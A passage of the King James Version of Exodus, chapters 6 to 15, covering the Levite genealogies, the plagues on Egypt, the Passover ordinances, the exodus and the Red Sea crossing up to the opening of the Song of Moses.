Hezron, and Carmi: these +be the families of Reuben. + +6:15 And the sons of Simeon; Jemuel, and Jamin, and Ohad, and Jachin, +and Zohar, and Shaul the son of a Canaanitish woman: these are the +families of Simeon. + +6:16 And these are the names of the sons of Levi according to their +generations; Gershon, and Kohath, and Merari: and the years of the +life of Levi were an hundred thirty and seven years. + +6:17 The sons of Gershon; Libni, and Shimi, according to their +families. + +6:18 And the sons of Kohath; Amram, and Izhar, and Hebron, and Uzziel: +and the years of the life of Kohath were an hundred thirty and three +years. + +6:19 And the sons of Merari; Mahali and Mushi: these are the families +of Levi according to their generations. + +6:20 And Amram took him Jochebed his father's sister to wife; and she +bare him Aaron and Moses: and the years of the life of Amram were an +hundred and thirty and seven years. + +6:21 And the sons of Izhar; Korah, and Nepheg, and Zichri. + +6:22 And the sons of Uzziel; Mishael, and Elzaphan, and Zithri. + +6:23 And Aaron took him Elisheba, daughter of Amminadab, sister of +Naashon, to wife; and she bare him Nadab, and Abihu, Eleazar, and +Ithamar. + +6:24 And the sons of Korah; Assir, and Elkanah, and Abiasaph: these +are the families of the Korhites. + +6:25 And Eleazar Aaron's son took him one of the daughters of Putiel +to wife; and she bare him Phinehas: these are the heads of the fathers +of the Levites according to their families. + +6:26 These are that Aaron and Moses, to whom the LORD said, Bring out +the children of Israel from the land of Egypt according to their +armies. + +6:27 These are they which spake to Pharaoh king of Egypt, to bring out +the children of Israel from Egypt: these are that Moses and Aaron. + +6:28 And it came to pass on the day when the LORD spake unto Moses in +the land of Egypt, 6:29 That the LORD spake unto Moses, saying, I am +the LORD: speak thou unto Pharaoh king of Egypt all that I say unto +thee. + +6:30 And Moses said before the LORD, Behold, I am of uncircumcised +lips, and how shall Pharaoh hearken unto me? 7:1 And the LORD said +unto Moses, See, I have made thee a god to Pharaoh: and Aaron thy +brother shall be thy prophet. + +7:2 Thou shalt speak all that I command thee: and Aaron thy brother +shall speak unto Pharaoh, that he send the children of Israel out of +his land. + +7:3 And I will harden Pharaoh's heart, and multiply my signs and my +wonders in the land of Egypt. + +7:4 But Pharaoh shall not hearken unto you, that I may lay my hand +upon Egypt, and bring forth mine armies, and my people the children of +Israel, out of the land of Egypt by great judgments. + +7:5 And the Egyptians shall know that I am the LORD, when I stretch +forth mine hand upon Egypt, and bring out the children of Israel from +among them. + +7:6 And Moses and Aaron did as the LORD commanded them, so did they. + +7:7 And Moses was fourscore years old, and Aaron fourscore and three +years old, when they spake unto Pharaoh. + +7:8 And the LORD spake unto Moses and unto Aaron, saying, 7:9 When +Pharaoh shall speak unto you, saying, Shew a miracle for you: then +thou shalt say unto Aaron, Take thy rod, and cast it before Pharaoh, +and it shall become a serpent. + +7:10 And Moses and Aaron went in unto Pharaoh, and they did so as the +LORD had commanded: and Aaron cast down his rod before Pharaoh, and +before his servants, and it became a serpent. + +7:11 Then Pharaoh also called the wise men and the sorcerers: now the +magicians of Egypt, they also did in like manner with their +enchantments. + +7:12 For they cast down every man his rod, and they became serpents: +but Aaron's rod swallowed up their rods. + +7:13 And he hardened Pharaoh's heart, that he hearkened not unto them; +as the LORD had said. + +7:14 And the LORD said unto Moses, Pharaoh's heart is hardened, he +refuseth to let the people go. + +7:15 Get thee unto Pharaoh in the morning; lo, he goeth out unto the +water; and thou shalt stand by the river's brink against he come; and +the rod which was turned to a serpent shalt thou take in thine hand. + +7:16 And thou shalt say unto him, The LORD God of the Hebrews hath +sent me unto thee, saying, Let my people go, that they may serve me in +the wilderness: and, behold, hitherto thou wouldest not hear. + +7:17 Thus saith the LORD, In this thou shalt know that I am the LORD: +behold, I will smite with the rod that is in mine hand upon the waters +which are in the river, and they shall be turned to blood. + +7:18 And the fish that is in the river shall die, and the river shall +stink; and the Egyptians shall lothe to drink of the water of the +river. + +7:19 And the LORD spake unto Moses, Say unto Aaron, Take thy rod, and +stretch out thine hand upon the waters of Egypt, upon their streams, +upon their rivers, and upon their ponds, and upon all their pools of +water, that they may become blood; and that there may be blood +throughout all the land of Egypt, both in vessels of wood, and in +vessels of stone. + +7:20 And Moses and Aaron did so, as the LORD commanded; and he lifted +up the rod, and smote the waters that were in the river, in the sight +of Pharaoh, and in the sight of his servants; and all the waters that +were in the river were turned to blood. + +7:21 And the fish that was in the river died; and the river stank, and +the Egyptians could not drink of the water of the river; and there was +blood throughout all the land of Egypt. + +7:22 And the magicians of Egypt did so with their enchantments: and +Pharaoh's heart was hardened, neither did he hearken unto them; as the +LORD had said. + +7:23 And Pharaoh turned and went into his house, neither did he set +his heart to this also. + +7:24 And all the Egyptians digged round about the river for water to +drink; for they could not drink of the water of the river. + +7:25 And seven days were fulfilled, after that the LORD had smitten +the river. + +8:1 And the LORD spake unto Moses, Go unto Pharaoh, and say unto him, +Thus saith the LORD, Let my people go, that they may serve me. + +8:2 And if thou refuse to let them go, behold, I will smite all thy +borders with frogs: 8:3 And the river shall bring forth frogs +abundantly, which shall go up and come into thine house, and into thy +bedchamber, and upon thy bed, and into the house of thy servants, and +upon thy people, and into thine ovens, and into thy kneadingtroughs: +8:4 And the frogs shall come up both on thee, and upon thy people, and +upon all thy servants. + +8:5 And the LORD spake unto Moses, Say unto Aaron, Stretch forth thine +hand with thy rod over the streams, over the rivers, and over the +ponds, and cause frogs to come up upon the land of Egypt. + +8:6 And Aaron stretched out his hand over the waters of Egypt; and the +frogs came up, and covered the land of Egypt. + +8:7 And the magicians did so with their enchantments, and brought up +frogs upon the land of Egypt. + +8:8 Then Pharaoh called for Moses and Aaron, and said, Intreat the +LORD, that he may take away the frogs from me, and from my people; and +I will let the people go, that they may do sacrifice unto the LORD. + +8:9 And Moses said unto Pharaoh, Glory over me: when shall I intreat +for thee, and for thy servants, and for thy people, to destroy the +frogs from thee and thy houses, that they may remain in the river +only? 8:10 And he said, To morrow. And he said, Be it according to +thy word: that thou mayest know that there is none like unto the LORD +our God. + +8:11 And the frogs shall depart from thee, and from thy houses, and +from thy servants, and from thy people; they shall remain in the river +only. + +8:12 And Moses and Aaron went out from Pharaoh: and Moses cried unto +the LORD because of the frogs which he had brought against Pharaoh. + +8:13 And the LORD did according to the word of Moses; and the frogs +died out of the houses, out of the villages, and out of the fields. + +8:14 And they gathered them together upon heaps: and the land stank. + +8:15 But when Pharaoh saw that there was respite, he hardened his +heart, and hearkened not unto them; as the LORD had said. + +8:16 And the LORD said unto Moses, Say unto Aaron, Stretch out thy +rod, and smite the dust of the land, that it may become lice +throughout all the land of Egypt. + +8:17 And they did so; for Aaron stretched out his hand with his rod, +and smote the dust of the earth, and it became lice in man, and in +beast; all the dust of the land became lice throughout all the land of +Egypt. + +8:18 And the magicians did so with their enchantments to bring forth +lice, but they could not: so there were lice upon man, and upon beast. + +8:19 Then the magicians said unto Pharaoh, This is the finger of God: +and Pharaoh's heart was hardened, and he hearkened not unto them; as +the LORD had said. + +8:20 And the LORD said unto Moses, Rise up early in the morning, and +stand before Pharaoh; lo, he cometh forth to the water; and say unto +him, Thus saith the LORD, Let my people go, that they may serve me. + +8:21 Else, if thou wilt not let my people go, behold, I will send +swarms of flies upon thee, and upon thy servants, and upon thy people, +and into thy houses: and the houses of the Egyptians shall be full of +swarms of flies, and also the ground whereon they are. + +8:22 And I will sever in that day the land of Goshen, in which my +people dwell, that no swarms of flies shall be there; to the end thou +mayest know that I am the LORD in the midst of the earth. + +8:23 And I will put a division between my people and thy people: to +morrow shall this sign be. + +8:24 And the LORD did so; and there came a grievous swarm of flies +into the house of Pharaoh, and into his servants' houses, and into all +the land of Egypt: the land was corrupted by reason of the swarm of +flies. + +8:25 And Pharaoh called for Moses and for Aaron, and said, Go ye, +sacrifice to your God in the land. + +8:26 And Moses said, It is not meet so to do; for we shall sacrifice +the abomination of the Egyptians to the LORD our God: lo, shall we +sacrifice the abomination of the Egyptians before their eyes, and will +they not stone us? 8:27 We will go three days' journey into the +wilderness, and sacrifice to the LORD our God, as he shall command us. + +8:28 And Pharaoh said, I will let you go, that ye may sacrifice to the +LORD your God in the wilderness; only ye shall not go very far away: +intreat for me. + +8:29 And Moses said, Behold, I go out from thee, and I will intreat +the LORD that the swarms of flies may depart from Pharaoh, from his +servants, and from his people, to morrow: but let not Pharaoh deal +deceitfully any more in not letting the people go to sacrifice to the +LORD. + +8:30 And Moses went out from Pharaoh, and intreated the LORD. + +8:31 And the LORD did according to the word of Moses; and he removed +the swarms of flies from Pharaoh, from his servants, and from his +people; there remained not one. + +8:32 And Pharaoh hardened his heart at this time also, neither would +he let the people go. + +9:1 Then the LORD said unto Moses, Go in unto Pharaoh, and tell him, +Thus saith the LORD God of the Hebrews, Let my people go, that they +may serve me. + +9:2 For if thou refuse to let them go, and wilt hold them still, 9:3 +Behold, the hand of the LORD is upon thy cattle which is in the field, +upon the horses, upon the asses, upon the camels, upon the oxen, and +upon the sheep: there shall be a very grievous murrain. + +9:4 And the LORD shall sever between the cattle of Israel and the +cattle of Egypt: and there shall nothing die of all that is the +children's of Israel. + +9:5 And the LORD appointed a set time, saying, To morrow the LORD +shall do this thing in the land. + +9:6 And the LORD did that thing on the morrow, and all the cattle of +Egypt died: but of the cattle of the children of Israel died not one. + +9:7 And Pharaoh sent, and, behold, there was not one of the cattle of +the Israelites dead. And the heart of Pharaoh was hardened, and he did +not let the people go. + +9:8 And the LORD said unto Moses and unto Aaron, Take to you handfuls +of ashes of the furnace, and let Moses sprinkle it toward the heaven +in the sight of Pharaoh. + +9:9 And it shall become small dust in all the land of Egypt, and shall +be a boil breaking forth with blains upon man, and upon beast, +throughout all the land of Egypt. + +9:10 And they took ashes of the furnace, and stood before Pharaoh; and +Moses sprinkled it up toward heaven; and it became a boil breaking +forth with blains upon man, and upon beast. + +9:11 And the magicians could not stand before Moses because of the +boils; for the boil was upon the magicians, and upon all the +Egyptians. + +9:12 And the LORD hardened the heart of Pharaoh, and he hearkened not +unto them; as the LORD had spoken unto Moses. + +9:13 And the LORD said unto Moses, Rise up early in the morning, and +stand before Pharaoh, and say unto him, Thus saith the LORD God of the +Hebrews, Let my people go, that they may serve me. + +9:14 For I will at this time send all my plagues upon thine heart, and +upon thy servants, and upon thy people; that thou mayest know that +there is none like me in all the earth. + +9:15 For now I will stretch out my hand, that I may smite thee and thy +people with pestilence; and thou shalt be cut off from the earth. + +9:16 And in very deed for this cause have I raised thee up, for to +shew in thee my power; and that my name may be declared throughout all +the earth. + +9:17 As yet exaltest thou thyself against my people, that thou wilt +not let them go? 9:18 Behold, to morrow about this time I will cause +it to rain a very grievous hail, such as hath not been in Egypt since +the foundation thereof even until now. + +9:19 Send therefore now, and gather thy cattle, and all that thou hast +in the field; for upon every man and beast which shall be found in the +field, and shall not be brought home, the hail shall come down upon +them, and they shall die. + +9:20 He that feared the word of the LORD among the servants of Pharaoh +made his servants and his cattle flee into the houses: 9:21 And he +that regarded not the word of the LORD left his servants and his +cattle in the field. + +9:22 And the LORD said unto Moses, Stretch forth thine hand toward +heaven, that there may be hail in all the land of Egypt, upon man, and +upon beast, and upon every herb of the field, throughout the land of +Egypt. + +9:23 And Moses stretched forth his rod toward heaven: and the LORD +sent thunder and hail, and the fire ran along upon the ground; and the +LORD rained hail upon the land of Egypt. + +9:24 So there was hail, and fire mingled with the hail, very grievous, +such as there was none like it in all the land of Egypt since it +became a nation. + +9:25 And the hail smote throughout all the land of Egypt all that was +in the field, both man and beast; and the hail smote every herb of the +field, and brake every tree of the field. + +9:26 Only in the land of Goshen, where the children of Israel were, +was there no hail. + +9:27 And Pharaoh sent, and called for Moses and Aaron, and said unto +them, I have sinned this time: the LORD is righteous, and I and my +people are wicked. + +9:28 Intreat the LORD (for it is enough) that there be no more mighty +thunderings and hail; and I will let you go, and ye shall stay no +longer. + +9:29 And Moses said unto him, As soon as I am gone out of the city, I +will spread abroad my hands unto the LORD; and the thunder shall +cease, neither shall there be any more hail; that thou mayest know how +that the earth is the LORD's. + +9:30 But as for thee and thy servants, I know that ye will not yet +fear the LORD God. + +9:31 And the flax and the barley was smitten: for the barley was in +the ear, and the flax was bolled. + +9:32 But the wheat and the rie were not smitten: for they were not +grown up. + +9:33 And Moses went out of the city from Pharaoh, and spread abroad +his hands unto the LORD: and the thunders and hail ceased, and the +rain was not poured upon the earth. + +9:34 And when Pharaoh saw that the rain and the hail and the thunders +were ceased, he sinned yet more, and hardened his heart, he and his +servants. + +9:35 And the heart of Pharaoh was hardened, neither would he let the +children of Israel go; as the LORD had spoken by Moses. + +10:1 And the LORD said unto Moses, Go in unto Pharaoh: for I have +hardened his heart, and the heart of his servants, that I might shew +these my signs before him: 10:2 And that thou mayest tell in the ears +of thy son, and of thy son's son, what things I have wrought in Egypt, +and my signs which I have done among them; that ye may know how that I +am the LORD. + +10:3 And Moses and Aaron came in unto Pharaoh, and said unto him, Thus +saith the LORD God of the Hebrews, How long wilt thou refuse to humble +thyself before me? let my people go, that they may serve me. + +10:4 Else, if thou refuse to let my people go, behold, to morrow will +I bring the locusts into thy coast: 10:5 And they shall cover the face +of the earth, that one cannot be able to see the earth: and they shall +eat the residue of that which is escaped, which remaineth unto you +from the hail, and shall eat every tree which groweth for you out of +the field: 10:6 And they shall fill thy houses, and the houses of all +thy servants, and the houses of all the Egyptians; which neither thy +fathers, nor thy fathers' fathers have seen, since the day that they +were upon the earth unto this day. And he turned himself, and went out +from Pharaoh. + +10:7 And Pharaoh's servants said unto him, How long shall this man be +a snare unto us? let the men go, that they may serve the LORD their +God: knowest thou not yet that Egypt is destroyed? 10:8 And Moses and +Aaron were brought again unto Pharaoh: and he said unto them, Go, +serve the LORD your God: but who are they that shall go? 10:9 And +Moses said, We will go with our young and with our old, with our sons +and with our daughters, with our flocks and with our herds will we go; +for we must hold a feast unto the LORD. + +10:10 And he said unto them, Let the LORD be so with you, as I will +let you go, and your little ones: look to it; for evil is before you. + +10:11 Not so: go now ye that are men, and serve the LORD; for that ye +did desire. And they were driven out from Pharaoh's presence. + +10:12 And the LORD said unto Moses, Stretch out thine hand over the +land of Egypt for the locusts, that they may come up upon the land of +Egypt, and eat every herb of the land, even all that the hail hath +left. + +10:13 And Moses stretched forth his rod over the land of Egypt, and +the LORD brought an east wind upon the land all that day, and all that +night; and when it was morning, the east wind brought the locusts. + +10:14 And the locust went up over all the land of Egypt, and rested in +all the coasts of Egypt: very grievous were they; before them there +were no such locusts as they, neither after them shall be such. + +10:15 For they covered the face of the whole earth, so that the land +was darkened; and they did eat every herb of the land, and all the +fruit of the trees which the hail had left: and there remained not any +green thing in the trees, or in the herbs of the field, through all +the land of Egypt. + +10:16 Then Pharaoh called for Moses and Aaron in haste; and he said, I +have sinned against the LORD your God, and against you. + +10:17 Now therefore forgive, I pray thee, my sin only this once, and +intreat the LORD your God, that he may take away from me this death +only. + +10:18 And he went out from Pharaoh, and intreated the LORD. + +10:19 And the LORD turned a mighty strong west wind, which took away +the locusts, and cast them into the Red sea; there remained not one +locust in all the coasts of Egypt. + +10:20 But the LORD hardened Pharaoh's heart, so that he would not let +the children of Israel go. + +10:21 And the LORD said unto Moses, Stretch out thine hand toward +heaven, that there may be darkness over the land of Egypt, even +darkness which may be felt. + +10:22 And Moses stretched forth his hand toward heaven; and there was +a thick darkness in all the land of Egypt three days: 10:23 They saw +not one another, neither rose any from his place for three days: but +all the children of Israel had light in their dwellings. + +10:24 And Pharaoh called unto Moses, and said, Go ye, serve the LORD; +only let your flocks and your herds be stayed: let your little ones +also go with you. + +10:25 And Moses said, Thou must give us also sacrifices and burnt +offerings, that we may sacrifice unto the LORD our God. + +10:26 Our cattle also shall go with us; there shall not an hoof be +left behind; for thereof must we take to serve the LORD our God; and +we know not with what we must serve the LORD, until we come thither. + +10:27 But the LORD hardened Pharaoh's heart, and he would not let them +go. + +10:28 And Pharaoh said unto him, Get thee from me, take heed to +thyself, see my face no more; for in that day thou seest my face thou +shalt die. + +10:29 And Moses said, Thou hast spoken well, I will see thy face again +no more. + +11:1 And the LORD said unto Moses, Yet will I bring one plague more +upon Pharaoh, and upon Egypt; afterwards he will let you go hence: +when he shall let you go, he shall surely thrust you out hence +altogether. + +11:2 Speak now in the ears of the people, and let every man borrow of +his neighbour, and every woman of her neighbour, jewels of silver and +jewels of gold. + +11:3 And the LORD gave the people favour in the sight of the +Egyptians. + +Moreover the man Moses was very great in the land of Egypt, in the +sight of Pharaoh's servants, and in the sight of the people. + +11:4 And Moses said, Thus saith the LORD, About midnight will I go out +into the midst of Egypt: 11:5 And all the firstborn in the land of +Egypt shall die, from the first born of Pharaoh that sitteth upon his +throne, even unto the firstborn of the maidservant that is behind the +mill; and all the firstborn of beasts. + +11:6 And there shall be a great cry throughout all the land of Egypt, +such as there was none like it, nor shall be like it any more. + +11:7 But against any of the children of Israel shall not a dog move +his tongue, against man or beast: that ye may know how that the LORD +doth put a difference between the Egyptians and Israel. + +11:8 And all these thy servants shall come down unto me, and bow down +themselves unto me, saying, Get thee out, and all the people that +follow thee: and after that I will go out. And he went out from +Pharaoh in a great anger. + +11:9 And the LORD said unto Moses, Pharaoh shall not hearken unto you; +that my wonders may be multiplied in the land of Egypt. + +11:10 And Moses and Aaron did all these wonders before Pharaoh: and +the LORD hardened Pharaoh's heart, so that he would not let the +children of Israel go out of his land. + +12:1 And the LORD spake unto Moses and Aaron in the land of Egypt +saying, 12:2 This month shall be unto you the beginning of months: it +shall be the first month of the year to you. + +12:3 Speak ye unto all the congregation of Israel, saying, In the +tenth day of this month they shall take to them every man a lamb, +according to the house of their fathers, a lamb for an house: 12:4 And +if the household be too little for the lamb, let him and his neighbour +next unto his house take it according to the number of the souls; +every man according to his eating shall make your count for the lamb. + +12:5 Your lamb shall be without blemish, a male of the first year: ye +shall take it out from the sheep, or from the goats: 12:6 And ye shall +keep it up until the fourteenth day of the same month: and the whole +assembly of the congregation of Israel shall kill it in the evening. + +12:7 And they shall take of the blood, and strike it on the two side +posts and on the upper door post of the houses, wherein they shall eat +it. + +12:8 And they shall eat the flesh in that night, roast with fire, and +unleavened bread; and with bitter herbs they shall eat it. + +12:9 Eat not of it raw, nor sodden at all with water, but roast with +fire; his head with his legs, and with the purtenance thereof. + +12:10 And ye shall let nothing of it remain until the morning; and +that which remaineth of it until the morning ye shall burn with fire. + +12:11 And thus shall ye eat it; with your loins girded, your shoes on +your feet, and your staff in your hand; and ye shall eat it in haste: +it is the LORD's passover. + +12:12 For I will pass through the land of Egypt this night, and will +smite all the firstborn in the land of Egypt, both man and beast; and +against all the gods of Egypt I will execute judgment: I am the LORD. + +12:13 And the blood shall be to you for a token upon the houses where +ye are: and when I see the blood, I will pass over you, and the plague +shall not be upon you to destroy you, when I smite the land of Egypt. + +12:14 And this day shall be unto you for a memorial; and ye shall keep +it a feast to the LORD throughout your generations; ye shall keep it a +feast by an ordinance for ever. + +12:15 Seven days shall ye eat unleavened bread; even the first day ye +shall put away leaven out of your houses: for whosoever eateth +leavened bread from the first day until the seventh day, that soul +shall be cut off from Israel. + +12:16 And in the first day there shall be an holy convocation, and in +the seventh day there shall be an holy convocation to you; no manner +of work shall be done in them, save that which every man must eat, +that only may be done of you. + +12:17 And ye shall observe the feast of unleavened bread; for in this +selfsame day have I brought your armies out of the land of Egypt: +therefore shall ye observe this day in your generations by an +ordinance for ever. + +12:18 In the first month, on the fourteenth day of the month at even, +ye shall eat unleavened bread, until the one and twentieth day of the +month at even. + +12:19 Seven days shall there be no leaven found in your houses: for +whosoever eateth that which is leavened, even that soul shall be cut +off from the congregation of Israel, whether he be a stranger, or born +in the land. + +12:20 Ye shall eat nothing leavened; in all your habitations shall ye +eat unleavened bread. + +12:21 Then Moses called for all the elders of Israel, and said unto +them, Draw out and take you a lamb according to your families, and +kill the passover. + +12:22 And ye shall take a bunch of hyssop, and dip it in the blood +that is in the bason, and strike the lintel and the two side posts +with the blood that is in the bason; and none of you shall go out at +the door of his house until the morning. + +12:23 For the LORD will pass through to smite the Egyptians; and when +he seeth the blood upon the lintel, and on the two side posts, the +LORD will pass over the door, and will not suffer the destroyer to +come in unto your houses to smite you. + +12:24 And ye shall observe this thing for an ordinance to thee and to +thy sons for ever. + +12:25 And it shall come to pass, when ye be come to the land which the +LORD will give you, according as he hath promised, that ye shall keep +this service. + +12:26 And it shall come to pass, when your children shall say unto +you, What mean ye by this service? 12:27 That ye shall say, It is the +sacrifice of the LORD's passover, who passed over the houses of the +children of Israel in Egypt, when he smote the Egyptians, and +delivered our houses. And the people bowed the head and worshipped. + +12:28 And the children of Israel went away, and did as the LORD had +commanded Moses and Aaron, so did they. + +12:29 And it came to pass, that at midnight the LORD smote all the +firstborn in the land of Egypt, from the firstborn of Pharaoh that sat +on his throne unto the firstborn of the captive that was in the +dungeon; and all the firstborn of cattle. + +12:30 And Pharaoh rose up in the night, he, and all his servants, and +all the Egyptians; and there was a great cry in Egypt; for there was +not a house where there was not one dead. + +12:31 And he called for Moses and Aaron by night, and said, Rise up, +and get you forth from among my people, both ye and the children of +Israel; and go, serve the LORD, as ye have said. + +12:32 Also take your flocks and your herds, as ye have said, and be +gone; and bless me also. + +12:33 And the Egyptians were urgent upon the people, that they might +send them out of the land in haste; for they said, We be all dead men. + +12:34 And the people took their dough before it was leavened, their +kneadingtroughs being bound up in their clothes upon their shoulders. + +12:35 And the children of Israel did according to the word of Moses; +and they borrowed of the Egyptians jewels of silver, and jewels of +gold, and raiment: 12:36 And the LORD gave the people favour in the +sight of the Egyptians, so that they lent unto them such things as +they required. And they spoiled the Egyptians. + +12:37 And the children of Israel journeyed from Rameses to Succoth, +about six hundred thousand on foot that were men, beside children. + +12:38 And a mixed multitude went up also with them; and flocks, and +herds, even very much cattle. + +12:39 And they baked unleavened cakes of the dough which they brought +forth out of Egypt, for it was not leavened; because they were thrust +out of Egypt, and could not tarry, neither had they prepared for +themselves any victual. + +12:40 Now the sojourning of the children of Israel, who dwelt in +Egypt, was four hundred and thirty years. + +12:41 And it came to pass at the end of the four hundred and thirty +years, even the selfsame day it came to pass, that all the hosts of +the LORD went out from the land of Egypt. + +12:42 It is a night to be much observed unto the LORD for bringing +them out from the land of Egypt: this is that night of the LORD to be +observed of all the children of Israel in their generations. + +12:43 And the LORD said unto Moses and Aaron, This is the ordinance of +the passover: There shall no stranger eat thereof: 12:44 But every +man's servant that is bought for money, when thou hast circumcised +him, then shall he eat thereof. + +12:45 A foreigner and an hired servant shall not eat thereof. + +12:46 In one house shall it be eaten; thou shalt not carry forth ought +of the flesh abroad out of the house; neither shall ye break a bone +thereof. + +12:47 All the congregation of Israel shall keep it. + +12:48 And when a stranger shall sojourn with thee, and will keep the +passover to the LORD, let all his males be circumcised, and then let +him come near and keep it; and he shall be as one that is born in the +land: for no uncircumcised person shall eat thereof. + +12:49 One law shall be to him that is homeborn, and unto the stranger +that sojourneth among you. + +12:50 Thus did all the children of Israel; as the LORD commanded Moses +and Aaron, so did they. + +12:51 And it came to pass the selfsame day, that the LORD did bring +the children of Israel out of the land of Egypt by their armies. + +13:1 And the LORD spake unto Moses, saying, 13:2 Sanctify unto me all +the firstborn, whatsoever openeth the womb among the children of +Israel, both of man and of beast: it is mine. + +13:3 And Moses said unto the people, Remember this day, in which ye +came out from Egypt, out of the house of bondage; for by strength of +hand the LORD brought you out from this place: there shall no leavened +bread be eaten. + +13:4 This day came ye out in the month Abib. + +13:5 And it shall be when the LORD shall bring thee into the land of +the Canaanites, and the Hittites, and the Amorites, and the Hivites, +and the Jebusites, which he sware unto thy fathers to give thee, a +land flowing with milk and honey, that thou shalt keep this service in +this month. + +13:6 Seven days thou shalt eat unleavened bread, and in the seventh +day shall be a feast to the LORD. + +13:7 Unleavened bread shall be eaten seven days; and there shall no +leavened bread be seen with thee, neither shall there be leaven seen +with thee in all thy quarters. + +13:8 And thou shalt shew thy son in that day, saying, This is done +because of that which the LORD did unto me when I came forth out of +Egypt. + +13:9 And it shall be for a sign unto thee upon thine hand, and for a +memorial between thine eyes, that the LORD's law may be in thy mouth: +for with a strong hand hath the LORD brought thee out of Egypt. + +13:10 Thou shalt therefore keep this ordinance in his season from year +to year. + +13:11 And it shall be when the LORD shall bring thee into the land of +the Canaanites, as he sware unto thee and to thy fathers, and shall +give it thee, 13:12 That thou shalt set apart unto the LORD all that +openeth the matrix, and every firstling that cometh of a beast which +thou hast; the males shall be the LORD's. + +13:13 And every firstling of an ass thou shalt redeem with a lamb; and +if thou wilt not redeem it, then thou shalt break his neck: and all +the firstborn of man among thy children shalt thou redeem. + +13:14 And it shall be when thy son asketh thee in time to come, +saying, What is this? that thou shalt say unto him, By strength of +hand the LORD brought us out from Egypt, from the house of bondage: +13:15 And it came to pass, when Pharaoh would hardly let us go, that +the LORD slew all the firstborn in the land of Egypt, both the +firstborn of man, and the firstborn of beast: therefore I sacrifice to +the LORD all that openeth the matrix, being males; but all the +firstborn of my children I redeem. + +13:16 And it shall be for a token upon thine hand, and for frontlets +between thine eyes: for by strength of hand the LORD brought us forth +out of Egypt. + +13:17 And it came to pass, when Pharaoh had let the people go, that +God led them not through the way of the land of the Philistines, +although that was near; for God said, Lest peradventure the people +repent when they see war, and they return to Egypt: 13:18 But God led +the people about, through the way of the wilderness of the Red sea: +and the children of Israel went up harnessed out of the land of Egypt. + +13:19 And Moses took the bones of Joseph with him: for he had straitly +sworn the children of Israel, saying, God will surely visit you; and +ye shall carry up my bones away hence with you. + +13:20 And they took their journey from Succoth, and encamped in Etham, +in the edge of the wilderness. + +13:21 And the LORD went before them by day in a pillar of a cloud, to +lead them the way; and by night in a pillar of fire, to give them +light; to go by day and night: 13:22 He took not away the pillar of +the cloud by day, nor the pillar of fire by night, from before the +people. + +14:1 And the LORD spake unto Moses, saying, 14:2 Speak unto the +children of Israel, that they turn and encamp before Pihahiroth, +between Migdol and the sea, over against Baalzephon: before it shall +ye encamp by the sea. + +14:3 For Pharaoh will say of the children of Israel, They are +entangled in the land, the wilderness hath shut them in. + +14:4 And I will harden Pharaoh's heart, that he shall follow after +them; and I will be honoured upon Pharaoh, and upon all his host; that +the Egyptians may know that I am the LORD. And they did so. + +14:5 And it was told the king of Egypt that the people fled: and the +heart of Pharaoh and of his servants was turned against the people, +and they said, Why have we done this, that we have let Israel go from +serving us? 14:6 And he made ready his chariot, and took his people +with him: 14:7 And he took six hundred chosen chariots, and all the +chariots of Egypt, and captains over every one of them. + +14:8 And the LORD hardened the heart of Pharaoh king of Egypt, and he +pursued after the children of Israel: and the children of Israel went +out with an high hand. + +14:9 But the Egyptians pursued after them, all the horses and chariots +of Pharaoh, and his horsemen, and his army, and overtook them +encamping by the sea, beside Pihahiroth, before Baalzephon. + +14:10 And when Pharaoh drew nigh, the children of Israel lifted up +their eyes, and, behold, the Egyptians marched after them; and they +were sore afraid: and the children of Israel cried out unto the LORD. + +14:11 And they said unto Moses, Because there were no graves in Egypt, +hast thou taken us away to die in the wilderness? wherefore hast thou +dealt thus with us, to carry us forth out of Egypt? 14:12 Is not this +the word that we did tell thee in Egypt, saying, Let us alone, that we +may serve the Egyptians? For it had been better for us to serve the +Egyptians, than that we should die in the wilderness. + +14:13 And Moses said unto the people, Fear ye not, stand still, and +see the salvation of the LORD, which he will shew to you to day: for +the Egyptians whom ye have seen to day, ye shall see them again no +more for ever. + +14:14 The LORD shall fight for you, and ye shall hold your peace. + +14:15 And the LORD said unto Moses, Wherefore criest thou unto me? +speak unto the children of Israel, that they go forward: 14:16 But +lift thou up thy rod, and stretch out thine hand over the sea, and +divide it: and the children of Israel shall go on dry ground through +the midst of the sea. + +14:17 And I, behold, I will harden the hearts of the Egyptians, and +they shall follow them: and I will get me honour upon Pharaoh, and +upon all his host, upon his chariots, and upon his horsemen. + +14:18 And the Egyptians shall know that I am the LORD, when I have +gotten me honour upon Pharaoh, upon his chariots, and upon his +horsemen. + +14:19 And the angel of God, which went before the camp of Israel, +removed and went behind them; and the pillar of the cloud went from +before their face, and stood behind them: 14:20 And it came between +the camp of the Egyptians and the camp of Israel; and it was a cloud +and darkness to them, but it gave light by night to these: so that the +one came not near the other all the night. + +14:21 And Moses stretched out his hand over the sea; and the LORD +caused the sea to go back by a strong east wind all that night, and +made the sea dry land, and the waters were divided. + +14:22 And the children of Israel went into the midst of the sea upon +the dry ground: and the waters were a wall unto them on their right +hand, and on their left. + +14:23 And the Egyptians pursued, and went in after them to the midst +of the sea, even all Pharaoh's horses, his chariots, and his horsemen. + +14:24 And it came to pass, that in the morning watch the LORD looked +unto the host of the Egyptians through the pillar of fire and of the +cloud, and troubled the host of the Egyptians, 14:25 And took off +their chariot wheels, that they drave them heavily: so that the +Egyptians said, Let us flee from the face of Israel; for the LORD +fighteth for them against the Egyptians. + +14:26 And the LORD said unto Moses, Stretch out thine hand over the +sea, that the waters may come again upon the Egyptians, upon their +chariots, and upon their horsemen. + +14:27 And Moses stretched forth his hand over the sea, and the sea +returned to his strength when the morning appeared; and the Egyptians +fled against it; and the LORD overthrew the Egyptians in the midst of +the sea. + +14:28 And the waters returned, and covered the chariots, and the +horsemen, and all the host of Pharaoh that came into the sea after +them; there remained not so much as one of them. + +14:29 But the children of Israel walked upon dry land in the midst of +the sea; and the waters were a wall unto them on their right hand, and +on their left. + +14:30 Thus the LORD saved Israel that day out of the hand of the +Egyptians; and Israel saw the Egyptians dead upon the sea shore. + +14:31 And Israel saw that great work which the LORD did upon the +Egyptians: and the people feared the LORD, and believed the LORD, and +his servant Moses. + +15:1 Then sang Moses and the children of Israel this song unto the +LORD, and spake, saying, I will sing unto the LORD, for he hath +triumphed gloriously: the horse and his rider hath he thrown into the +sea. + +15:2 The LORD is my strength and song, and he is become my salvation: +he is my God, and I will prepare him an habitation; my father's God, +and I will exalt him. + +15:3 The LORD is a man of war: the LORD is his name. + +15:4 Pharaoh's chariots and his host hath he cast into the sea: his +chosen captains also are drowned in the Red sea. + +15:5 The depths have covered them: they sank into the bottom as a +stone. + 